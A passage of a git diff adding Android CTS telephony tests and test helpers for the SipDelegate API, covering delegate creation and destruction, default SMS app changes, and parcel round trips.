+        // This internally triggers the destruction of the internal delegate2 and then recreation
+        // of another delegate with the new feature set that it supports.
+        verifySipDelegateDestroyed(transportImpl, delegateConn2, delegate2, registeredTags2,
+                DelegateRegistrationState.DEREGISTERING_REASON_FEATURE_TAGS_CHANGING);
+        delegate2 = getSipDelegate(transportImpl, Collections.emptySet(), 0);
+        verifyRegisteredAndSendSipConfig(delegateConn2, delegate2, request2.getFeatureTags(),
+                Collections.emptySet(), c);
+
+        destroySipDelegateAndVerify(manager, transportImpl, delegateConn2, delegate2,
+                request2.getFeatureTags());
+        assertEquals("There should be no more delegates", 0,
+                transportImpl.getDelegates().size());
+    }
+
+    @Test
+    public void testCreateDelegateMessagingAppChangesToApp() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        // start with no features granted
+        connectTestImsServiceWithSipTransportAndConfig();
+
+        TestSipTransport transportImpl = sServiceConnector.getCarrierService().getSipTransport();
+        SipDelegateManager manager = getSipDelegateManager();
+        DelegateRequest request = getDefaultRequest();
+        TestSipDelegateConnection delegateConn = new TestSipDelegateConnection(request);
+
+        // wait for onCreated and registration state change to be called.
+        createSipDelegateConnectionNoDelegateExpected(manager, delegateConn, transportImpl);
+
+        // Make this app the DMA
+        assertTrue(sServiceConnector.setDefaultSmsApp());
+        TestSipDelegate delegate = getSipDelegate(transportImpl, Collections.emptySet(), 0);
+        SipDelegateImsConfiguration c = new SipDelegateImsConfiguration.Builder(1)
+                .addString(SipDelegateImsConfiguration.KEY_SIP_CONFIG_IMEI_STRING, "123")
+                .build();
+        verifyRegisteredAndSendSipConfig(delegateConn, delegate, request.getFeatureTags(),
+                Collections.emptySet(), c);
+        destroySipDelegateAndVerify(manager, transportImpl, delegateConn, delegate,
+                request.getFeatureTags());
+        assertEquals("There should be no more delegates", 0,
+                transportImpl.getDelegates().size());
+    }
+
+    @Test
+    public void testCreateDelegateMessagingAppChangesAwayFromApp() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        // Make this app the DMA
+        assertTrue(sServiceConnector.setDefaultSmsApp());
+        connectTestImsServiceWithSipTransportAndConfig();
+        TestSipTransport transportImpl = sServiceConnector.getCarrierService().getSipTransport();
+        SipDelegateManager manager = getSipDelegateManager();
+
+        DelegateRequest request = getDefaultRequest();
+        TestSipDelegateConnection delegateConn = new TestSipDelegateConnection(request);
+        TestSipDelegate delegate = createSipDelegateConnectionAndVerify(manager, delegateConn,
+                transportImpl, Collections.emptySet(), 0);
+        assertNotNull(delegate);
+
+        SipDelegateImsConfiguration c = new SipDelegateImsConfiguration.Builder(1)
+                .addString(SipDelegateImsConfiguration.KEY_SIP_CONFIG_IMEI_STRING, "123")
+                .build();
+        verifyRegisteredAndSendSipConfig(delegateConn, delegate, request.getFeatureTags(),
+                Collections.emptySet(), c);
+
+
+        // Move DMA to another app, we should receive a registration update.
+        delegateConn.setOperationCountDownLatch(1);
+        sServiceConnector.restoreDefaultSmsApp();
+        delegateConn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
+        // we should get another reg update with all tags denied.
+        delegateConn.setOperationCountDownLatch(1);
+        verifySipDelegateDestroyed(transportImpl, delegateConn, delegate, request.getFeatureTags(),
+                DelegateRegistrationState.DEREGISTERING_REASON_FEATURE_TAGS_CHANGING);
+        delegateConn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
+        delegateConn.verifyRegistrationStateEmpty();
+        // All requested features should have been denied due to the app not being the default sms
+        // app.
+        delegateConn.verifyAllDenied(SipDelegateManager.DENIED_REASON_NOT_ALLOWED);
+        // There should not be any delegates left, as the only delegate should have been cleaned up.
+        assertEquals("SipDelegate should not have any delegates", 0,
+                transportImpl.getDelegates().size());
+
+        destroySipDelegateConnectionNoDelegate(manager, delegateConn);
+    }
+    @Test
+    public void testParcelUnparcelDelegateRequest() {
+        ArraySet<String> testTags = new ArraySet<>();
+        testTags.add(MMTEL_TAG);
+        testTags.add(ONE_TO_ONE_CHAT_TAG);
+        testTags.add(GROUP_CHAT_TAG);
+        testTags.add(FILE_TRANSFER_HTTP_TAG);
+        DelegateRequest r = new DelegateRequest(testTags);
+        Parcel p = Parcel.obtain();
+        r.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        DelegateRequest unparcelled = DelegateRequest.CREATOR.createFromParcel(p);
+        assertEquals(r, unparcelled);
+        assertEquals(r.getFeatureTags(), unparcelled.getFeatureTags());
+    }
+
+    @Test
+    public void testParcelUnparcelFeatureTagState() {
+        FeatureTagState f = new FeatureTagState(MMTEL_TAG,
+                DelegateRegistrationState.DEREGISTERED_REASON_NOT_REGISTERED);
+        Parcel p = Parcel.obtain();
+        f.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        FeatureTagState unparcelled = FeatureTagState.CREATOR.createFromParcel(p);
+        assertEquals(f, unparcelled);
+        assertEquals(f.getFeatureTag(), unparcelled.getFeatureTag());
+        assertEquals(f.getState(), unparcelled.getState());
+    }
+
+    @Test
+    public void testParcelUnparcelRegistrationState() {
+        ArraySet<String> regTags = new ArraySet<>();
+        regTags.add(MMTEL_TAG);
+        DelegateRegistrationState s = new DelegateRegistrationState.Builder()
+                .addRegisteredFeatureTags(regTags)
+                .addRegisteredFeatureTag(ONE_TO_ONE_CHAT_TAG)
+                .addDeregisteringFeatureTag(GROUP_CHAT_TAG,
+                        DelegateRegistrationState.DEREGISTERING_REASON_PDN_CHANGE)
+                .addDeregisteredFeatureTag(FILE_TRANSFER_HTTP_TAG,
+                        DelegateRegistrationState.DEREGISTERED_REASON_NOT_REGISTERED)
+                .build();
+        Parcel p = Parcel.obtain();
+        s.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        DelegateRegistrationState unparcel = DelegateRegistrationState.CREATOR.createFromParcel(p);
+        assertEquals(s, unparcel);
+        assertEquals(s.getRegisteredFeatureTags(), unparcel.getRegisteredFeatureTags());
+        assertEquals(s.getDeregisteringFeatureTags(), unparcel.getDeregisteringFeatureTags());
+        assertEquals(s.getDeregisteredFeatureTags(), unparcel.getDeregisteredFeatureTags());
+    }
+
+    @Test
+    public void testParcelUnparcelImsConfiguration() {
+        SipDelegateImsConfiguration c = new SipDelegateImsConfiguration.Builder(1 /*version*/)
+                .addBoolean(SipDelegateImsConfiguration.KEY_SIP_CONFIG_IS_GRUU_ENABLED_BOOL, true)
+                .addInt(SipDelegateImsConfiguration.KEY_SIP_CONFIG_MAX_PAYLOAD_SIZE_ON_UDP_INT, 1)
+                .addString(SipDelegateImsConfiguration.KEY_SIP_CONFIG_IMEI_STRING, "123")
+                .build();
+        Parcel p = Parcel.obtain();
+        c.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        SipDelegateImsConfiguration unparcel =
+                SipDelegateImsConfiguration.CREATOR.createFromParcel(p);
+        assertEquals(c.getVersion(), unparcel.getVersion());
+        assertEquals(c.getBoolean(
+                        SipDelegateImsConfiguration.KEY_SIP_CONFIG_IS_GRUU_ENABLED_BOOL, false),
+                unparcel.getBoolean(
+                        SipDelegateImsConfiguration.KEY_SIP_CONFIG_IS_GRUU_ENABLED_BOOL, false));
+        assertEquals(c.getInt(
+                SipDelegateImsConfiguration.KEY_SIP_CONFIG_MAX_PAYLOAD_SIZE_ON_UDP_INT, -1),
+                unparcel.getInt(
+                        SipDelegateImsConfiguration.KEY_SIP_CONFIG_MAX_PAYLOAD_SIZE_ON_UDP_INT,
+                        -1));
+        assertEquals(c.getString(SipDelegateImsConfiguration.KEY_SIP_CONFIG_IMEI_STRING),
+                unparcel.getString(SipDelegateImsConfiguration.KEY_SIP_CONFIG_IMEI_STRING));
+    }
+
+    @Test
+    public void testParcelUnparcelSipMessage() {
+        byte[] bytes = new byte[1];
+        bytes[0] = 'a';
+        SipMessage m = new SipMessage("A", "B", bytes);
+        Parcel p = Parcel.obtain();
+        m.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        SipMessage unparcel = SipMessage.CREATOR.createFromParcel(p);
+        assertEquals(m, unparcel);
+        assertEquals(m.getStartLine(), unparcel.getStartLine());
+        assertEquals(m.getHeaderSection(), unparcel.getHeaderSection());
+        assertTrue(Arrays.equals(m.getContent(), unparcel.getContent()));
+    }
+
+    private void createSipDelegateConnectionNoDelegateExpected(SipDelegateManager manager,
+            TestSipDelegateConnection conn, TestSipTransport transport) throws Exception {
+        // wait for onCreated and reg state changed
+        conn.setOperationCountDownLatch(2);
+        conn.connect(manager);
+        conn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
+        conn.verifyDelegateCreated();
+        conn.verifyRegistrationStateEmpty();
+        // All requested features should have been denied due to the app not being the default sms
+        // app.
+        conn.verifyAllDenied(SipDelegateManager.DENIED_REASON_NOT_ALLOWED);
+        // There should not have been a call to create a SipDelegate on the service side, since all
+        // features were denied due to permissions issues.
+        assertEquals("SipDelegate should not have been created", 0,
+                transport.getDelegates().size());
+    }
+
+    private void destroySipDelegateConnectionNoDelegate(SipDelegateManager manager,
+            TestSipDelegateConnection delegateConn) throws Exception {
+        delegateConn.setOperationCountDownLatch(1);
+        delegateConn.disconnect(manager,
+                SipDelegateManager.SIP_DELEGATE_DESTROY_REASON_REQUESTED_BY_APP);
+        delegateConn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
+        delegateConn.verifyDestroyed(
+                SipDelegateManager.SIP_DELEGATE_DESTROY_REASON_REQUESTED_BY_APP);
+    }
+
+    private void destroySipDelegateAndVerify(SipDelegateManager manager,
+            TestSipTransport transportImpl, TestSipDelegateConnection delegateConn,
+            TestSipDelegate delegate, Set<String> registeredTags) throws Exception {
+        // wait for registration change upon disconnecting state change
+        delegateConn.setOperationCountDownLatch(1);
+        delegateConn.disconnect(manager,
+                SipDelegateManager.SIP_DELEGATE_DESTROY_REASON_REQUESTED_BY_APP);
+        delegateConn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
+        // verify we move to deregistering for registered tags.
+        DelegateRegistrationState s = getDeregisteringState(registeredTags,
+                DelegateRegistrationState.DEREGISTERING_REASON_DESTROY_PENDING);
+        delegateConn.verifyRegistrationStateEquals(s);
+        // wait for on destroyed
+        delegateConn.setOperationCountDownLatch(1);
+        transportImpl.waitForLatchCountdownAndReset(TestSipTransport.LATCH_DESTROY_DELEGATE);
+        delegate.notifyOnDestroyed(
+                SipDelegateManager.SIP_DELEGATE_DESTROY_REASON_REQUESTED_BY_APP);
+        delegateConn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
+        delegateConn.verifyDestroyed(
+                SipDelegateManager.SIP_DELEGATE_DESTROY_REASON_REQUESTED_BY_APP);
+    }
+
+    private void verifySipDelegateDestroyed(TestSipTransport transportImpl,
+            TestSipDelegateConnection delegateConn, TestSipDelegate delegate,
+            Set<String> registeredTags, int deregReason) {
+        // verify we move to deregistering for registered tags.
+        DelegateRegistrationState s = getDeregisteringState(registeredTags, deregReason);
+        delegateConn.verifyRegistrationStateEquals(s);
+        transportImpl.waitForLatchCountdownAndReset(TestSipTransport.LATCH_DESTROY_DELEGATE);
+        delegate.notifyOnDestroyed(
+                SipDelegateManager.SIP_DELEGATE_DESTROY_REASON_REQUESTED_BY_APP);
+    }
+
+    private TestSipDelegate createSipDelegateConnectionAndVerify(SipDelegateManager manager,
+            TestSipDelegateConnection conn, TestSipTransport transport,
+            Set<FeatureTagState>  deniedTags, int delegateIndex) throws Exception {
+        conn.setOperationCountDownLatch(1);
+        conn.connect(manager);
+        TestSipDelegate d = getSipDelegate(transport, deniedTags, delegateIndex);
+        conn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
+        conn.verifyDelegateCreated();
+        return d;
+    }
+
+    private TestSipDelegate getSipDelegate(TestSipTransport transport,
+            Set<FeatureTagState> deniedTags, int delegateIndex) {
+        transport.waitForLatchCountdownAndReset(TestSipTransport.LATCH_CREATE_DELEGATE);
+        // There must have been a call to create a SipDelegate on the service side.
+        assertEquals("SipDelegate should have been created", delegateIndex + 1,
+                transport.getDelegates().size());
+        TestSipDelegate d = transport.getDelegates().get(delegateIndex);
+        d.notifyOnCreated(deniedTags);
+        return d;
+    }
+
+    private void verifyRegisteredAndSendSipConfig(TestSipDelegateConnection delegateConn,
+            TestSipDelegate delegate, Set<String> registeredTags,
+            Set<FeatureTagState> deniedTags, SipDelegateImsConfiguration sipConfig) {
+        // wait for reg change to be called
+        delegateConn.setOperationCountDownLatch(1);
+        DelegateRegistrationState s = getRegisteredRegistrationState(registeredTags);
+        delegate.notifyImsRegistrationUpdate(s);
+        delegateConn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
+        delegateConn.verifyRegistrationStateRegistered(registeredTags);
+        delegateConn.verifyDenied(deniedTags);
+
+        // send config change as well.
+        sendConfigChange(sipConfig, delegateConn, delegate);
+    }
+
+    private Set<FeatureTagState> generateDeniedSetFromRequest(Set<String> grantedTags,
+            Set<String> newTags, int reason) {
+        // Deny features from newTags that are already granted in grantedTags.
+        return grantedTags.stream().filter(newTags::contains)
+                .map(s -> new FeatureTagState(s, reason))
+                .collect(Collectors.toSet());
+    }
+
+    private void sendMessageAndVerifyAck(TestSipDelegateConnection delegateConn,
+            TestSipDelegate delegate) throws Exception {
+        // Send a message and ensure it gets received on the other end as well as acked
+        delegateConn.sendMessageAndVerifyCompletedSuccessfully(ImsUtils.TEST_SIP_MESSAGE);
+        delegate.verifyMessageSend(ImsUtils.TEST_SIP_MESSAGE);
+        // send a message and notify connection that it failed
+        delegate.setSendMessageDenyReason(
+                SipDelegateManager.MESSAGE_FAILURE_REASON_NETWORK_NOT_AVAILABLE);
+        delegateConn.sendMessageAndVerifyFailure(ImsUtils.TEST_SIP_MESSAGE,
+                SipDelegateManager.MESSAGE_FAILURE_REASON_NETWORK_NOT_AVAILABLE);
+        delegate.verifyMessageSend(ImsUtils.TEST_SIP_MESSAGE);
+    }
+
+    private void receiveMessageAndVerifyAck(TestSipDelegateConnection delegateConn,
+            TestSipDelegate delegate) throws Exception {
+        // Receive a message and ensure it gets received on the other end as well as acked
+        delegate.receiveMessageAndVerifyReceivedCalled(ImsUtils.TEST_SIP_MESSAGE);
+        delegateConn.verifyMessageReceived(ImsUtils.TEST_SIP_MESSAGE);
+        // Receive a message and have connection notify that it didn't complete
+        delegateConn.setReceivedMessageErrorResponseReason(
+                SipDelegateManager.MESSAGE_FAILURE_REASON_INVALID_BODY_CONTENT);
+        delegate.receiveMessageAndVerifyReceiveErrorCalled(ImsUtils.TEST_SIP_MESSAGE,
+                SipDelegateManager.MESSAGE_FAILURE_REASON_INVALID_BODY_CONTENT);
+    }
+
+    private void sendConfigChange(SipDelegateImsConfiguration c,
+            TestSipDelegateConnection delegateConn, TestSipDelegate delegate) {
+        delegateConn.setOperationCountDownLatch(1);
+        delegate.notifyImsConfigurationUpdate(c);
+        delegateConn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
+        delegateConn.verifyConfigEquals(c);
+    }
+
+    private DelegateRegistrationState getRegisteredRegistrationState(Set<String> registered) {
+        return new DelegateRegistrationState.Builder().addRegisteredFeatureTags(registered).build();
+    }
+
+    private DelegateRegistrationState getDeregisteringState(Set<String> deregisterTags,
+            int reason) {
+        DelegateRegistrationState.Builder b = new DelegateRegistrationState.Builder();
+        for (String t : deregisterTags) {
+            b.addDeregisteringFeatureTag(t, reason);
+        }
+        return b.build();
+    }
+
+    private DelegateRegistrationState getDeregistedState(Set<String> deregisterTags,
+            int reason) {
+        DelegateRegistrationState.Builder b = new DelegateRegistrationState.Builder();
+        for (String t : deregisterTags) {
+            b.addDeregisteredFeatureTag(t, reason);
+        }
+        return b.build();
+    }
+
+    private void connectTestImsServiceWithSipTransportAndConfig() throws Exception {
+        PersistableBundle b = new PersistableBundle();
+        b.putBoolean(CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL, true);
+        overrideCarrierConfig(b);
+
+        assertTrue(sServiceConnector.connectCarrierImsServiceLocally());
+        sServiceConnector.getCarrierService().addCapabilities(
+                ImsService.CAPABILITY_SIP_DELEGATE_CREATION);
+        sServiceConnector.getCarrierService().setSipTransportImplemented();
+        ImsFeatureConfiguration c = getConfigForMmTelAndRcs();
+        assertTrue(sServiceConnector.triggerFrameworkConnectionToCarrierImsService(c));
+        verifyImsServiceState(c);
+    }
+
+
+    private void connectTestImsServiceWithSipTransport() throws Exception {
+        assertTrue(sServiceConnector.connectCarrierImsServiceLocally());
+        sServiceConnector.getCarrierService().addCapabilities(
+                ImsService.CAPABILITY_SIP_DELEGATE_CREATION);
+        sServiceConnector.getCarrierService().setSipTransportImplemented();
+        ImsFeatureConfiguration c = getConfigForMmTelAndRcs();
+        assertTrue(sServiceConnector.triggerFrameworkConnectionToCarrierImsService(c));
+        verifyImsServiceState(c);
+    }
+
+    private void verifyImsServiceState(ImsFeatureConfiguration config) {
+        for (ImsFeatureConfiguration.FeatureSlotPair p : config.getServiceFeatures()) {
+            switch (p.featureType) {
+                case ImsFeature.FEATURE_MMTEL: {
+                    sServiceConnector.getCarrierService().waitForLatchCountdown(
+                            TestImsService.LATCH_CREATE_MMTEL);
+                    assertNotNull("ImsService created, but ImsService#createMmTelFeature was not "
+                            + "called!", sServiceConnector.getCarrierService().getMmTelFeature());
+                    break;
+                }
+                case ImsFeature.FEATURE_RCS: {
+                    sServiceConnector.getCarrierService().waitForLatchCountdown(
+                            TestImsService.LATCH_CREATE_RCS);
+                    assertNotNull("ImsService created, but ImsService#createRcsFeature was not "
+                            + "called!", sServiceConnector.getCarrierService().getRcsFeature());
+                    break;
+                }
+            }
+        }
+    }
+
+    /**
+     * Wait up to five seconds (retrying a command 1 time per second) until ImsExceptions due to the
+     * ImsService not being available go away. If the ImsService never becomes available, this
+     * method will return null.
+     */
+    private <T> T callUntilImsServiceIsAvailable(Callable<T> command) throws Exception {
+        int retry = 0;
+        while (retry < 5) {
+            try {
+                return command.call();
+            } catch (ImsException e) {
+                // we want to absorb only the unavailable error, as telephony may still be
+                // internally setting up. Any other type of ImsException is unexpected.
+                if (e.getCode() != ImsException.CODE_ERROR_SERVICE_UNAVAILABLE) {
+                    throw e;
+                }
+            }
+            Thread.sleep(1000);
+            retry++;
+        }
+        return null;
+    }
+
+    private DelegateRequest getDefaultRequest() {
+        ArraySet<String> features = new ArraySet<>(3);
+        features.add(TestSipTransport.ONE_TO_ONE_CHAT_TAG);
+        features.add(TestSipTransport.GROUP_CHAT_TAG);
+        features.add(TestSipTransport.FILE_TRANSFER_HTTP_TAG);
+        return new DelegateRequest(features);
+    }
+
+    private DelegateRequest getChatOnlyRequest() {
+        ArraySet<String> features = new ArraySet<>(3);
+        features.add(TestSipTransport.ONE_TO_ONE_CHAT_TAG);
+        features.add(TestSipTransport.GROUP_CHAT_TAG);
+        return new DelegateRequest(features);
+    }
+
+    private ImsFeatureConfiguration getConfigForMmTelAndRcs() {
+        return new ImsFeatureConfiguration.Builder()
+                .addFeature(sTestSlot, ImsFeature.FEATURE_EMERGENCY_MMTEL)
+                .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL)
+                .addFeature(sTestSlot, ImsFeature.FEATURE_RCS)
+                .build();
+    }
+    private ImsFeatureConfiguration getConfigForRcs() {
+        return new ImsFeatureConfiguration.Builder()
+                .addFeature(sTestSlot, ImsFeature.FEATURE_RCS)
+                .build();
+    }
+
+    private static void overrideCarrierConfig(PersistableBundle bundle) throws Exception {
+        CarrierConfigManager carrierConfigManager = InstrumentationRegistry.getInstrumentation()
+                .getContext().getSystemService(CarrierConfigManager.class);
+        sReceiver.clearQueue();
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(carrierConfigManager,
+                (m) -> m.overrideConfig(sTestSub, bundle));
+        sReceiver.waitForCarrierConfigChanged();
+    }
+
+    private SipDelegateManager getSipDelegateManager() {
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        assertNotNull(imsManager);
+        return imsManager.getSipDelegateManager(sTestSub);
+    }
+
+    private static Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getContext();
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java
index d04b819..029b8c3 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java
@@ -27,9 +27,12 @@
 import android.telephony.ims.stub.ImsConfigImplBase;
 import android.telephony.ims.stub.ImsFeatureConfiguration;
 import android.telephony.ims.stub.ImsRegistrationImplBase;
+import android.telephony.ims.stub.SipTransportImplBase;
 import android.util.Log;
 
 
+import androidx.annotation.Nullable;
+
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
@@ -45,9 +48,12 @@
     private TestRcsFeature mTestRcsFeature;
     private TestMmTelFeature mTestMmTelFeature;
     private TestImsConfig mTestImsConfig;
+    private TestSipTransport mTestSipTransport;
     private ImsService mTestImsService;
     private boolean mIsEnabled = false;
     private boolean mSetNullRcsBinding = false;
+    private boolean mIsSipTransportImplemented = false;
+    private long mCapabilities = 0;
     private ImsFeatureConfiguration mFeatureConfig;
     private final Object mLock = new Object();
 
@@ -92,6 +98,8 @@
                 attachBaseContext(context);
             }
             mTestImsConfig = new TestImsConfig();
+            // For testing, just run on binder thread until required otherwise.
+            mTestSipTransport = new TestSipTransport(Runnable::run);
         }
 
         @Override
@@ -100,6 +108,11 @@
         }
 
         @Override
+        public long getImsServiceCapabilities() {
+            return mCapabilities;
+        }
+
+        @Override
         public void readyForFeatureCreation() {
             synchronized (mLock) {
                 countDownLatch(LATCH_FEATURES_READY);
@@ -192,6 +205,16 @@
         public ImsRegistrationImplBase getRegistration(int slotId) {
             return sImsRegistrationImplBase;
         }
+
+        @Nullable
+        @Override
+        public SipTransportImplBase getSipTransport(int slotId) {
+            if (mIsSipTransportImplemented) {
+                return mTestSipTransport;
+            } else {
+                return null;
+            }
+        }
     }
 
     private final LocalBinder mBinder = new LocalBinder();
@@ -232,6 +255,8 @@
             mTestRcsFeature = null;
             mIsEnabled = false;
             mSetNullRcsBinding = false;
+            mIsSipTransportImplemented = false;
+            mCapabilities = 0;
             for (int i = 0; i < LATCH_MAX; i++) {
                 sLatches[i] = new CountDownLatch(1);
             }
@@ -270,6 +295,18 @@
         }
     }
 
+    public void addCapabilities(long capabilities) {
+        synchronized (mLock) {
+            mCapabilities |= capabilities;
+        }
+    }
+
+    public void setSipTransportImplemented() {
+        synchronized (mLock) {
+            mIsSipTransportImplemented = true;
+        }
+    }
+
     public boolean waitForLatchCountdown(int latchIndex) {
         boolean complete = false;
         try {
@@ -305,6 +342,12 @@
         }
     }
 
+    public TestSipTransport getSipTransport() {
+        synchronized (mLock) {
+            return mTestSipTransport;
+        }
+    }
+
     public ImsRegistrationImplBase getImsRegistration() {
         synchronized (mLock) {
             return sImsRegistrationImplBase;
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegate.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegate.java
new file mode 100644
index 0000000..3d06dce
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegate.java
@@ -0,0 +1,134 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+
+import android.telephony.ims.DelegateMessageCallback;
+import android.telephony.ims.DelegateRegistrationState;
+import android.telephony.ims.DelegateRequest;
+import android.telephony.ims.DelegateStateCallback;
+import android.telephony.ims.FeatureTagState;
+import android.telephony.ims.SipDelegateImsConfiguration;
+import android.telephony.ims.SipMessage;
+import android.telephony.ims.stub.SipDelegate;
+import android.util.Log;
+import android.util.Pair;
+
+import androidx.annotation.NonNull;
+
+import java.util.Set;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class TestSipDelegate implements SipDelegate {
+    private static final String LOG_TAG = "CtsImsSipDelegate";
+
+    public final int subId;
+    public final DelegateRequest delegateRequest;
+    private final DelegateStateCallback mStateCallback;
+    private final DelegateMessageCallback mMessageCallback;
+
+    private final LinkedBlockingQueue<SipMessage> mIncomingMessages = new LinkedBlockingQueue<>();
+    // Pair is <transactionId, error reason>
+    private final LinkedBlockingQueue<Pair<String, Integer>> mReceivedMessageAcks =
+            new LinkedBlockingQueue<>();
+    private int mSendMessageDenyReason = -1;
+
+    public TestSipDelegate(int sub, DelegateRequest request, DelegateStateCallback cb,
+            DelegateMessageCallback mc) {
+        subId = sub;
+        delegateRequest = request;
+        mStateCallback = cb;
+        mMessageCallback = mc;
+    }
+
+    @Override
+    public void sendMessage(@NonNull SipMessage message, long configVersion) {
+        if (ImsUtils.VDBG) Log.d(LOG_TAG, "sendMessage");
+        mIncomingMessages.offer(message);
+        if (mSendMessageDenyReason > -1) {
+            mMessageCallback.onMessageSendFailure(ImsUtils.TEST_TRANSACTION_ID,
+                    mSendMessageDenyReason);
+        } else {
+            mMessageCallback.onMessageSent(ImsUtils.TEST_TRANSACTION_ID);
+        }
+    }
+
+    @Override
+    public void closeDialog(@NonNull String callId) {
+        if (ImsUtils.VDBG) Log.d(LOG_TAG, "closeDialog");
+        // TODO: Test once dialogs are tracked in AOSP.
+    }
+
+    @Override
+    public void notifyMessageReceived(@NonNull String viaTransactionId) {
+        if (ImsUtils.VDBG) Log.d(LOG_TAG, "notifyMessageReceived");
+        mReceivedMessageAcks.offer(new Pair<>(viaTransactionId, -1));
+    }
+
+    @Override
+    public void notifyMessageReceiveError(@NonNull String viaTransactionId, int reason) {
+        if (ImsUtils.VDBG) Log.d(LOG_TAG, "notifyMessageReceiveError");
+        mReceivedMessageAcks.offer(new Pair<>(viaTransactionId, reason));
+    }
+
+    public void verifyMessageSend(SipMessage messageToVerify) throws Exception {
+        SipMessage m = mIncomingMessages.poll(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        assertEquals(messageToVerify, m);
+    }
+
+    public void setSendMessageDenyReason(int reason) {
+        mSendMessageDenyReason = reason;
+    }
+
+    public void receiveMessageAndVerifyReceivedCalled(SipMessage m) throws Exception {
+        mMessageCallback.onMessageReceived(m);
+        Pair<String, Integer> transactionAndIdPair = mReceivedMessageAcks.poll(
+                ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        assertEquals(ImsUtils.TEST_TRANSACTION_ID, transactionAndIdPair.first);
+        assertNotNull(transactionAndIdPair.second);
+        assertEquals(-1, transactionAndIdPair.second.intValue());
+    }
+
+    public void receiveMessageAndVerifyReceiveErrorCalled(SipMessage m, int reason)
+            throws Exception {
+        mMessageCallback.onMessageReceived(m);
+        Pair<String, Integer> transactionAndIdPair = mReceivedMessageAcks.poll(
+                ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        assertEquals(ImsUtils.TEST_TRANSACTION_ID, transactionAndIdPair.first);
+        assertNotNull(transactionAndIdPair.second);
+        assertEquals(reason, transactionAndIdPair.second.intValue());
+    }
+
+    public void notifyImsRegistrationUpdate(DelegateRegistrationState state) {
+        mStateCallback.onFeatureTagRegistrationChanged(state);
+    }
+
+    public void notifyImsConfigurationUpdate(SipDelegateImsConfiguration config) {
+        mStateCallback.onImsConfigurationChanged(config);
+    }
+
+    public void notifyOnCreated(Set<FeatureTagState> deniedTags) {
+        mStateCallback.onCreated(this, deniedTags);
+    }
+
+    public void notifyOnDestroyed(int reason) {
+        mStateCallback.onDestroyed(reason);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java
new file mode 100644
index 0000000..6b3b134
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java
@@ -0,0 +1,316 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static junit.framework.Assert.assertTrue;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
+import android.os.PersistableBundle;
+import android.telephony.ims.DelegateRegistrationState;
+import android.telephony.ims.DelegateRequest;
+import android.telephony.ims.FeatureTagState;
+import android.telephony.ims.ImsException;
+import android.telephony.ims.SipDelegateConnection;
+import android.telephony.ims.SipDelegateImsConfiguration;
+import android.telephony.ims.SipDelegateManager;
+import android.telephony.ims.SipMessage;
+import android.telephony.ims.stub.DelegateConnectionMessageCallback;
+import android.telephony.ims.stub.DelegateConnectionStateCallback;
+import android.util.ArraySet;
+import android.util.Log;
+import android.util.Pair;
+
+import androidx.annotation.NonNull;
+
